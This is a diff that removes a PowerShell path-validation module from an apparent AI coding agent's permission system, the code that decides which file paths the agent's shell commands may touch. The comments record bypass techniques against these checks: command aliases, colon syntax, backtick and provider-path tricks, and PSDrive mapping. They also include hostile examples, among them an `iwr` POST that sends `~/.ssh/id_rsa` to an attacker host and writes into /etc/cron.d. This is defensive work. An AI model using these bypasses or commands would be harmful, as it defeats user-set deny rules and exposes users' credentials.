@iaforged/context-code 1.0.63 → 1.0.67

package/dist/src/tools/PowerShellTool/pathValidation.js

@@ -1,1712 +0,0 @@
-/**
- * PowerShell-specific path validation for command arguments.
- *
- * Extracts file paths from PowerShell commands using the AST parser
- * and validates they stay within allowed project directories.
- * Follows the same patterns as BashTool/pathValidation.ts.
- */
-import { homedir } from 'os';
-import { isAbsolute, resolve } from 'path';
-import { getCwd } from '../../utils/cwd.js';
-import { getFsImplementation, safeResolvePath, } from '../../utils/fsOperations.js';
-import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js';
-import { allWorkingDirectories, checkEditableInternalPath, checkPathSafetyForAutoEdit, checkReadableInternalPath, matchingRuleForInput, pathInAllowedWorkingPath, } from '../../utils/permissions/filesystem.js';
-import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js';
-import { isDangerousRemovalPath, isPathInSandboxWriteAllowlist, } from '../../utils/permissions/pathValidation.js';
-import { getPlatform } from '../../utils/platform.js';
-import { isNullRedirectionTarget, isPowerShellParameter, } from '../../utils/powershell/parser.js';
-import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js';
-import { resolveToCanonical } from './readOnlyValidation.js';
-const MAX_DIRS_TO_LIST = 5;
-// PowerShell wildcards are only * ? [ ] — braces are LITERAL characters
-// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
-// through glob-base truncation instead of full-path symlink resolution.
-const GLOB_PATTERN_REGEX = /[*?[\]]/;
-const CMDLET_PATH_CONFIG = {
-    // ─── Write/create operations ──────────────────────────────────────────────
-    'set-content': {
-        operationType: 'write',
-        // -PSPath and -LP are runtime aliases for -LiteralPath on all provider
-        // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
-        // unknown-param branch → path trapped → paths=[] → deny never consulted.
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-passthru',
-            '-force',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-            '-nonewline',
-            '-asbytestream', // PS 6+
-        ],
-        knownValueParams: [
-            '-value',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-encoding',
-            '-stream',
-        ],
-    },
-    'add-content': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-passthru',
-            '-force',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-            '-nonewline',
-            '-asbytestream', // PS 6+
-        ],
-        knownValueParams: [
-            '-value',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-encoding',
-            '-stream',
-        ],
-    },
-    'remove-item': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-recurse',
-            '-force',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-stream',
-        ],
-    },
-    'clear-content': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-stream',
-        ],
-    },
-    // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
-    // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
-    // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
-    // file paths positionally.
-    'out-file': {
-        operationType: 'write',
-        // Out-File uses -FilePath (position 0). -Path is PowerShell's documented
-        // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x`
-        // (colon syntax, one token) falls to unknown-param → value trapped →
-        // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade).
-        pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-append',
-            '-force',
-            '-noclobber',
-            '-nonewline',
-            '-whatif',
-            '-confirm',
-        ],
-        knownValueParams: ['-inputobject', '-encoding', '-width'],
-    },
-    'tee-object': {
-        operationType: 'write',
-        // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
-        pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-append'],
-        knownValueParams: ['-inputobject', '-variable', '-encoding'],
-    },
-    'export-csv': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-append',
-            '-force',
-            '-noclobber',
-            '-notypeinformation',
-            '-includetypeinformation',
-            '-useculture',
-            '-noheader',
-            '-whatif',
-            '-confirm',
-        ],
-        knownValueParams: [
-            '-inputobject',
-            '-delimiter',
-            '-encoding',
-            '-quotefields',
-            '-usequotes',
-        ],
-    },
-    'export-clixml': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
-        knownValueParams: ['-inputobject', '-depth', '-encoding'],
-    },
-    // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` →
-    // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in
-    // config → early return {paths:[], 'read'} → Edit deny never consulted.
-    //
-    // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
-    // dest). operationType:'write' is imperfect — source is semantically a read
-    // — but it means BOTH paths get Edit-deny validation, which is strictly
-    // safer than extracting neither. A per-param operationType would be ideal
-    // but that's a bigger schema change; blunt 'write' closes the gap now.
-    'new-item': {
-        operationType: 'write',
-        // -Path is position 0. -Name (position 1) is resolved by PowerShell
-        // RELATIVE TO -Path (per MS docs: "you can specify the path of the new
-        // item in Name"), including `..` traversal. We resolve against CWD
-        // (validatePath L930), not -Path — so `New-Item -Path /allowed
-        // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
-        // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
-        // the deny rule. This is a deny→ask downgrade, not fail-safe.
-        //
-        // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
-        // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path
-        // extraction covers the directory, and a leaf can't traverse);
-        // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg →
-        // ask. Joining -Name against -Path would be correct but needs
-        // cross-parameter tracking — out of scope here.
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        leafOnlyPathParams: ['-name'],
-        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
-        knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
-    },
-    'copy-item': {
-        operationType: 'write',
-        // -Path (position 0) is source, -Destination (position 1) is dest.
-        // Both extracted; both validated as write.
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
-        knownSwitches: [
-            '-container',
-            '-force',
-            '-passthru',
-            '-recurse',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-fromsession',
-            '-tosession',
-        ],
-    },
-    'move-item': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
-        knownSwitches: [
-            '-force',
-            '-passthru',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
-    },
-    // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither
-    // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item
-    // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes
-    // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
-    // write-cmdlet alias now resolves to a config entry.
-    'rename-item': {
-        operationType: 'write',
-        // -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
-        // "You cannot specify a new drive or a different path") and Rename-Item
-        // explicitly rejects `..` in it — so knownValueParams is correct here,
-        // unlike New-Item -Name which accepts traversal.
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-force',
-            '-passthru',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: [
-            '-newname',
-            '-credential',
-            '-filter',
-            '-include',
-            '-exclude',
-        ],
-    },
-    'set-item': {
-        operationType: 'write',
-        // FileSystem provider throws NotSupportedException for Set-Item content,
-        // so the practical write surface is registry/env/function/alias providers.
-        // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
-        // step 3.5 in powershellPermissions.ts, but classifying set-item as write
-        // here is defense-in-depth — powershellSecurity.ts:379 already lists it
-        // in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-force',
-            '-passthru',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: [
-            '-value',
-            '-credential',
-            '-filter',
-            '-include',
-            '-exclude',
-        ],
-    },
-    // ─── Read operations ──────────────────────────────────────────────────────
-    'get-content': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-force',
-            '-usetransaction',
-            '-wait',
-            '-raw',
-            '-asbytestream', // PS 6+
-        ],
-        knownValueParams: [
-            '-readcount',
-            '-totalcount',
-            '-tail',
-            '-first', // alias for -TotalCount
-            '-head', // alias for -TotalCount
-            '-last', // alias for -Tail
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-delimiter',
-            '-encoding',
-            '-stream',
-        ],
-    },
-    'get-childitem': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-recurse',
-            '-force',
-            '-name',
-            '-usetransaction',
-            '-followsymlink',
-            '-directory',
-            '-file',
-            '-hidden',
-            '-readonly',
-            '-system',
-        ],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-depth',
-            '-attributes',
-            '-credential',
-        ],
-    },
-    'get-item': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-usetransaction'],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-stream',
-        ],
-    },
-    'get-itemproperty': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-usetransaction'],
-        knownValueParams: [
-            '-name',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-        ],
-    },
-    'get-itempropertyvalue': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-usetransaction'],
-        knownValueParams: [
-            '-name',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-        ],
-    },
-    'get-filehash': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [],
-        knownValueParams: ['-algorithm', '-inputstream'],
-    },
-    'get-acl': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
-        knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
-    },
-    'format-hex': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-raw'],
-        knownValueParams: [
-            '-inputobject',
-            '-encoding',
-            '-count', // PS 6+
-            '-offset', // PS 6+
-        ],
-    },
-    'test-path': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-isvalid', '-usetransaction'],
-        knownValueParams: [
-            '-filter',
-            '-include',
-            '-exclude',
-            '-pathtype',
-            '-credential',
-            '-olderthan',
-            '-newerthan',
-        ],
-    },
-    'resolve-path': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-relative', '-usetransaction', '-force'],
-        knownValueParams: ['-credential', '-relativebasepath'],
-    },
-    'convert-path': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-usetransaction'],
-        knownValueParams: [],
-    },
-    'select-string': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-simplematch',
-            '-casesensitive',
-            '-quiet',
-            '-list',
-            '-notmatch',
-            '-allmatches',
-            '-noemphasis', // PS 7+
-            '-raw', // PS 7+
-        ],
-        knownValueParams: [
-            '-inputobject',
-            '-pattern',
-            '-include',
-            '-exclude',
-            '-encoding',
-            '-context',
-            '-culture', // PS 7+
-        ],
-    },
-    'set-location': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-passthru', '-usetransaction'],
-        knownValueParams: ['-stackname'],
-    },
-    'push-location': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-passthru', '-usetransaction'],
-        knownValueParams: ['-stackname'],
-    },
-    'pop-location': {
-        operationType: 'read',
-        // Pop-Location has no -Path/-LiteralPath (it pops from the stack),
-        // but we keep the entry so it passes through path validation gracefully.
-        pathParams: [],
-        knownSwitches: ['-passthru', '-usetransaction'],
-        knownValueParams: ['-stackname'],
-    },
-    'select-xml': {
-        operationType: 'read',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [],
-        knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
-    },
-    'get-winevent': {
-        operationType: 'read',
-        // Get-WinEvent only has -Path, no -LiteralPath
-        pathParams: ['-path'],
-        knownSwitches: ['-force', '-oldest'],
-        knownValueParams: [
-            '-listlog',
-            '-logname',
-            '-listprovider',
-            '-providername',
-            '-maxevents',
-            '-computername',
-            '-credential',
-            '-filterxpath',
-            '-filterxml',
-            '-filterhashtable',
-        ],
-    },
-    // Write-path cmdlets with output parameters. Without these entries,
-    // -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
-    'invoke-webrequest': {
-        operationType: 'write',
-        // -OutFile is the write target; -InFile is a read source (uploads a local
-        // file). Both are in pathParams so Edit deny rules are consulted (this
-        // config is operationType:write → permissionType:edit). A user with
-        // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
-        // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
-        // for write-type cmdlets — that's a known limitation of the
-        // operationType→permissionType mapping.
-        pathParams: ['-outfile', '-infile'],
-        positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
-        optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
-        knownSwitches: [
-            '-allowinsecureredirect',
-            '-allowunencryptedauthentication',
-            '-disablekeepalive',
-            '-nobodyprogress',
-            '-passthru',
-            '-preservefileauthorizationmetadata',
-            '-resume',
-            '-skipcertificatecheck',
-            '-skipheadervalidation',
-            '-skiphttperrorcheck',
-            '-usebasicparsing',
-            '-usedefaultcredentials',
-        ],
-        knownValueParams: [
-            '-uri',
-            '-method',
-            '-body',
-            '-contenttype',
-            '-headers',
-            '-maximumredirection',
-            '-maximumretrycount',
-            '-proxy',
-            '-proxycredential',
-            '-retryintervalsec',
-            '-sessionvariable',
-            '-timeoutsec',
-            '-token',
-            '-transferencoding',
-            '-useragent',
-            '-websession',
-            '-credential',
-            '-authentication',
-            '-certificate',
-            '-certificatethumbprint',
-            '-form',
-            '-httpversion',
-        ],
-    },
-    'invoke-restmethod': {
-        operationType: 'write',
-        // -OutFile is the write target; -InFile is a read source (uploads a local
-        // file). Both must be in pathParams so deny rules are consulted.
-        pathParams: ['-outfile', '-infile'],
-        positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
-        optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
-        knownSwitches: [
-            '-allowinsecureredirect',
-            '-allowunencryptedauthentication',
-            '-disablekeepalive',
-            '-followrellink',
-            '-nobodyprogress',
-            '-passthru',
-            '-preservefileauthorizationmetadata',
-            '-resume',
-            '-skipcertificatecheck',
-            '-skipheadervalidation',
-            '-skiphttperrorcheck',
-            '-usebasicparsing',
-            '-usedefaultcredentials',
-        ],
-        knownValueParams: [
-            '-uri',
-            '-method',
-            '-body',
-            '-contenttype',
-            '-headers',
-            '-maximumfollowrellink',
-            '-maximumredirection',
-            '-maximumretrycount',
-            '-proxy',
-            '-proxycredential',
-            '-responseheaderstvariable',
-            '-retryintervalsec',
-            '-sessionvariable',
-            '-statuscodevariable',
-            '-timeoutsec',
-            '-token',
-            '-transferencoding',
-            '-useragent',
-            '-websession',
-            '-credential',
-            '-authentication',
-            '-certificate',
-            '-certificatethumbprint',
-            '-form',
-            '-httpversion',
-        ],
-    },
-    'expand-archive': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
-        knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
-        knownValueParams: [],
-    },
-    'compress-archive': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
-        knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
-        knownValueParams: ['-compressionlevel'],
-    },
-    // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
-    // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
-    // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
-    // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
-    // set-item's rationale.
-    'set-itemproperty': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-passthru',
-            '-force',
-            '-whatif',
-            '-confirm',
-            '-usetransaction',
-        ],
-        knownValueParams: [
-            '-name',
-            '-value',
-            '-type',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-            '-inputobject',
-        ],
-    },
-    'new-itemproperty': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
-        knownValueParams: [
-            '-name',
-            '-value',
-            '-propertytype',
-            '-type',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-        ],
-    },
-    'remove-itemproperty': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
-        knownValueParams: [
-            '-name',
-            '-filter',
-            '-include',
-            '-exclude',
-            '-credential',
-        ],
-    },
-    'clear-item': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
-        knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
-    },
-    'export-alias': {
-        operationType: 'write',
-        pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
-        knownSwitches: [
-            '-append',
-            '-force',
-            '-noclobber',
-            '-passthru',
-            '-whatif',
-            '-confirm',
-        ],
-        knownValueParams: ['-name', '-description', '-scope', '-as'],
-    },
-};
-/**
- * Checks if a lowercase parameter name (with leading dash) matches any entry
- * in the given param list, accounting for PowerShell's prefix-matching behavior
- * (e.g., -Lit matches -LiteralPath).
- */
-function matchesParam(paramLower, paramList) {
-    for (const p of paramList) {
-        if (p === paramLower ||
-            (paramLower.length > 1 && p.startsWith(paramLower))) {
-            return true;
-        }
-    }
-    return false;
-}
-/**
- * Returns true if a colon-syntax value contains expression constructs that
- * mask the real runtime path (arrays, subexpressions, variables, backtick
- * escapes). The outer CommandParameterAst 'Parameter' element type hides
- * these from our AST walk, so we must detect them textually.
- *
- * Used in three branches of extractPathsFromCommand: pathParams,
- * leafOnlyPathParams, and the unknown-param defense-in-depth branch.
- */
-function hasComplexColonValue(rawValue) {
-    return (rawValue.includes(',') ||
-        rawValue.startsWith('(') ||
-        rawValue.startsWith('[') ||
-        rawValue.includes('`') ||
-        rawValue.includes('@(') ||
-        rawValue.startsWith('@{') ||
-        rawValue.includes('$'));
-}
-function formatDirectoryList(directories) {
-    const dirCount = directories.length;
-    if (dirCount <= MAX_DIRS_TO_LIST) {
-        return directories.map(dir => `'${dir}'`).join(', ');
-    }
-    const firstDirs = directories
-        .slice(0, MAX_DIRS_TO_LIST)
-        .map(dir => `'${dir}'`)
-        .join(', ');
-    return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`;
-}
-/**
- * Expands tilde (~) at the start of a path to the user's home directory.
- */
-function expandTilde(filePath) {
-    if (filePath === '~' ||
-        filePath.startsWith('~/') ||
-        filePath.startsWith('~\\')) {
-        return homedir() + filePath.slice(1);
-    }
-    return filePath;
-}
-/**
- * Checks the raw user-provided path (pre-realpath) for dangerous removal
- * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
- * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check);
- * on macOS homedir() may be under /var which realpathSync rewrites to
- * /private/var (fails the === homedir() check). Checking the tilde-expanded,
- * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
- * as the user typed them.
- */
-export function isDangerousRemovalRawPath(filePath) {
-    const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(/\\/g, '/');
-    return isDangerousRemovalPath(expanded);
-}
-export function dangerousRemovalDeny(path) {
-    return {
-        behavior: 'deny',
-        message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
-        decisionReason: {
-            type: 'other',
-            reason: 'Removal targets a protected system path',
-        },
-    };
-}
-/**
- * Checks if a resolved path is allowed for the given operation type.
- * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
- */
-function isPathAllowed(resolvedPath, context, operationType, precomputedPathsToCheck) {
-    const permissionType = operationType === 'read' ? 'read' : 'edit';
-    // 1. Check deny rules first
-    const denyRule = matchingRuleForInput(resolvedPath, context, permissionType, 'deny');
-    if (denyRule !== null) {
-        return {
-            allowed: false,
-            decisionReason: { type: 'rule', rule: denyRule },
-        };
-    }
-    // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
-    // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
-    // and internal editable paths live under ~/.claude/ — matching the ordering in
-    // checkWritePermissionForTool (filesystem.ts step 1.5)
-    if (operationType !== 'read') {
-        const internalEditResult = checkEditableInternalPath(resolvedPath, {});
-        if (internalEditResult.behavior === 'allow') {
-            return {
-                allowed: true,
-                decisionReason: internalEditResult.decisionReason,
-            };
-        }
-    }
-    // 2.5. For write/create operations, check safety validations
-    if (operationType !== 'read') {
-        const safetyCheck = checkPathSafetyForAutoEdit(resolvedPath, precomputedPathsToCheck);
-        if (!safetyCheck.safe) {
-            return {
-                allowed: false,
-                decisionReason: {
-                    type: 'safetyCheck',
-                    reason: safetyCheck.message,
-                    classifierApprovable: safetyCheck.classifierApprovable,
-                },
-            };
-        }
-    }
-    // 3. Check if path is in allowed working directory
-    const isInWorkingDir = pathInAllowedWorkingPath(resolvedPath, context, precomputedPathsToCheck);
-    if (isInWorkingDir) {
-        if (operationType === 'read' || context.mode === 'acceptEdits') {
-            return { allowed: true };
-        }
-    }
-    // 3.5. For read operations, check internal readable paths
-    if (operationType === 'read') {
-        const internalReadResult = checkReadableInternalPath(resolvedPath, {});
-        if (internalReadResult.behavior === 'allow') {
-            return {
-                allowed: true,
-                decisionReason: internalReadResult.decisionReason,
-            };
-        }
-    }
-    // 3.7. For write/create operations to paths OUTSIDE the working directory,
-    // check the sandbox write allowlist. When the sandbox is enabled, users
-    // have explicitly configured writable directories (e.g. /tmp/claude/) —
-    // treat these as additional allowed write directories so redirects/Out-File/
-    // New-Item don't prompt unnecessarily. Paths IN the working directory are
-    // excluded: the sandbox allowlist always seeds '.' (cwd), which would
-    // bypass the acceptEdits gate at step 3.
-    if (operationType !== 'read' &&
-        !isInWorkingDir &&
-        isPathInSandboxWriteAllowlist(resolvedPath)) {
-        return {
-            allowed: true,
-            decisionReason: {
-                type: 'other',
-                reason: 'Path is in sandbox write allowlist',
-            },
-        };
-    }
-    // 4. Check allow rules
-    const allowRule = matchingRuleForInput(resolvedPath, context, permissionType, 'allow');
-    if (allowRule !== null) {
-        return {
-            allowed: true,
-            decisionReason: { type: 'rule', rule: allowRule },
-        };
-    }
-    // 5. Path is not allowed
-    return { allowed: false };
-}
-/**
- * Best-effort deny check for paths obscured by :: or backtick syntax.
- * ONLY checks deny rules — never auto-allows. If the stripped guess
- * doesn't match a deny rule, we fall through to ask as before.
- */
-function checkDenyRuleForGuessedPath(strippedPath, cwd, toolPermissionContext, operationType) {
-    // Red-team P7: null bytes make expandPath throw. Pre-existing but
-    // defend here since we're introducing a new call path.
-    if (!strippedPath || strippedPath.includes('\0'))
-        return null;
-    // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
-    // on leading ~ — the backtick was in front of it. Re-run here.
-    const tildeExpanded = expandTilde(strippedPath);
-    const abs = isAbsolute(tildeExpanded)
-        ? tildeExpanded
-        : resolve(cwd, tildeExpanded);
-    const { resolvedPath } = safeResolvePath(getFsImplementation(), abs);
-    const permissionType = operationType === 'read' ? 'read' : 'edit';
-    const denyRule = matchingRuleForInput(resolvedPath, toolPermissionContext, permissionType, 'deny');
-    return denyRule ? { resolvedPath, rule: denyRule } : null;
-}
-/**
- * Validates a file system path, handling tilde expansion.
- */
-function validatePath(filePath, cwd, toolPermissionContext, operationType) {
-    // Remove surrounding quotes if present
-    const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''));
-    // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
-    // platforms, but path.resolve on Linux/Mac treats them as literal characters.
-    // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
-    // are correctly detected.
-    const normalizedPath = cleanPath.replace(/\\/g, '/');
-    // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
-    // many positions (e.g., `/ === /) but defeats Node.js path checks like
-    // isAbsolute(). Redirection targets use raw .Extent.Text which preserves
-    // backtick escapes. Treat any path containing a backtick as unvalidatable.
-    if (normalizedPath.includes('`')) {
-        // Red-team P3: backtick is already resolved for StringConstant args
-        // (parser uses .value); this guard primarily fires for redirection
-        // targets which use raw .Extent.Text. Strip is a no-op for most special
-        // escapes (`n → n) but that's fine — wrong guess → no deny match →
-        // falls to ask.
-        const backtickStripped = normalizedPath.replace(/`/g, '');
-        const denyHit = checkDenyRuleForGuessedPath(backtickStripped, cwd, toolPermissionContext, operationType);
-        if (denyHit) {
-            return {
-                allowed: false,
-                resolvedPath: denyHit.resolvedPath,
-                decisionReason: { type: 'rule', rule: denyHit.rule },
-            };
-        }
-        return {
-            allowed: false,
-            resolvedPath: normalizedPath,
-            decisionReason: {
-                type: 'other',
-                reason: 'Backtick escape characters in paths cannot be statically validated and require manual approval',
-            },
-        };
-    }
-    // SECURITY: Block module-qualified provider paths. PowerShell allows
-    // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to
-    // `/etc/passwd` via the FileSystem provider. The `::` is the provider
-    // path separator and doesn't match the simple `^[a-z]{2,}:` regex.
-    if (normalizedPath.includes('::')) {
-        // Strip everything up to and including the first :: — handles both
-        // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path.
-        // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve
-        // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask.
-        // Safe.
-        const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2);
-        const denyHit = checkDenyRuleForGuessedPath(afterProvider, cwd, toolPermissionContext, operationType);
-        if (denyHit) {
-            return {
-                allowed: false,
-                resolvedPath: denyHit.resolvedPath,
-                decisionReason: { type: 'rule', rule: denyHit.rule },
-            };
-        }
-        return {
-            allowed: false,
-            resolvedPath: normalizedPath,
-            decisionReason: {
-                type: 'other',
-                reason: 'Module-qualified provider paths (::) cannot be statically validated and require manual approval',
-            },
-        };
-    }
-    // SECURITY: Block UNC paths — they can trigger network requests and
-    // leak NTLM/Kerberos credentials
-    if (normalizedPath.startsWith('//') ||
-        /DavWWWRoot/i.test(normalizedPath) ||
-        /@SSL@/i.test(normalizedPath)) {
-        return {
-            allowed: false,
-            resolvedPath: normalizedPath,
-            decisionReason: {
-                type: 'other',
-                reason: 'UNC paths are blocked because they can trigger network requests and credential leakage',
-            },
-        };
-    }
-    // SECURITY: Reject paths containing shell expansion syntax
-    if (normalizedPath.includes('$') || normalizedPath.includes('%')) {
-        return {
-            allowed: false,
-            resolvedPath: normalizedPath,
-            decisionReason: {
-                type: 'other',
-                reason: 'Variable expansion syntax in paths requires manual approval',
-            },
-        };
-    }
-    // SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.)
-    // These paths access non-filesystem resources and must require manual approval.
-    // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'.
-    //
-    // Platform split (findings #21/#28):
-    // - Windows: require 2+ letters before ':' so native drive letters (C:, D:)
-    //   pass through to path.win32.isAbsolute/resolve which handle them correctly.
-    // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive
-    //   paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc`
-    //   then `Get-Content Z:/secrets` would otherwise resolve via
-    //   path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd →
-    //   allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what
-    //   filesystem root a PSDrive maps to, so treat all drive-prefixed paths on
-    //   POSIX as unvalidatable.
